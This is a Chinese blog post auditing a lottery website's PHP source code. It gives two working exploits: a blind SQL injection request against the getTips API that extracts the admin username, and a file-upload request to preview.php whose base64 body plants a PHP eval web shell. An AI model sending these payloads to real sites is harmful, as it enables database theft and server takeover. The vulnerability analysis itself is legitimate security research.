This page looks best with JavaScript enabled

记一套彩票程序代码审计

 ·  ☕ 3 min read

团队成员发的一套源码

前期审计

在审计一套代码的时候,我们首先要了解程序的路由、全局文件是否有过滤等问题。
我们首先查看入口文件,也就是index.php

image.png

加载了conn.php,base.php等外部文件。判断是电脑还是手机访问。还判断了用户如果m传参是admin的话,显示权限不足,也就是不准你用这种路由访问后台。按照经验来看,这套程序是有个专门的后台登录文件。

conn.php

image.png

base.php

image.png

base.php从第76-93行是重点。

image.png

可以看到,对请求方式都添加了过滤,addslasheshe的功能就是给单引号添加反斜杠。

这个函数有个特性就是不会拦截数值型的变量。所以我们找注入就去找没有单双引号包裹的就行

发现漏洞

SQL盲注

全局搜索where关键字,发现一个数值型变量。定位到lib/controller/api/app.php文件。

image.png

可以看到,非常典型的一个注入。构造payload

POST /index.php?m=api&c=app&a=getTips HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: xxx.com
Connection: close
Referer: xxx.com
Cookie: PHPSESSID=mq7b12iqj8ci3d9njejsncmo0i
Upgrade-Insecure-Requests: 1

payment_id=1 or if((select ascii(substr(username,1,1)) from un_admin where userid=1)=97,1,0)#

RCE

对于RCE,我比较喜欢全局搜索file_put_contents,定位到statics/admin/webuploader/0.1.5/server/preview.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
/**
 * 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
 */

$DIR = 'preview';
// Create target dir
if (!file_exists($DIR)) {
    @mkdir($DIR);
}

$cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds

if ($cleanupTargetDir) {
    if (!is_dir($DIR) || !$dir = opendir($DIR)) {
        die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
    }

    while (($file = readdir($dir)) !== false) {
        $tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;

        // Remove temp file if it is older than the max age and is not the current file
        if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
            @unlink($tmpfilePath);
        }
    }
    closedir($dir);
}

$src = file_get_contents('php://input');

if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {

    $previewUrl = sprintf(
        "%s://%s%s",
        isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
        $_SERVER['HTTP_HOST'],
        $_SERVER['REQUEST_URI']
    );
    $previewUrl = str_replace("preview.php", "", $previewUrl);


    $base64 = $matches[2];
    $type = $matches[1];
    if ($type === 'jpeg') {
        $type = 'jpg';
    }

    $filename = md5($base64).".$type";
    $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

    if (file_exists($filePath)) {
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    } else {
        $data = base64_decode($base64);
        file_put_contents($filePath, $data);
        die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
    }

} else {
    die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}

关键代码33行,从php流直接获取内容。然后就是正则匹配,匹配/image/xxx,xxx赋值为后缀,base64,xxx为文件内容。然后进行了个判断,如果为jpeg,则把后缀定义为jpg,但是它这里判断完之后,并没有啥用,我们依然可以伪造为php后缀。其实这个代码跟我以前那篇交易所文章的代码几乎一模一样,有不懂的可以去看下。

payload

POST /statics/admin/webuploader/0.1.5/server/preview.php HTTP/1.1
Host: xxx.com
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="87", " Not;A Brand";v="99", "Chromium";v="87"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=qg48o5j2dqcvivktta811srn30
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7
Share on

Dejavu
WRITTEN BY
Dejavu
Web渗透爱好者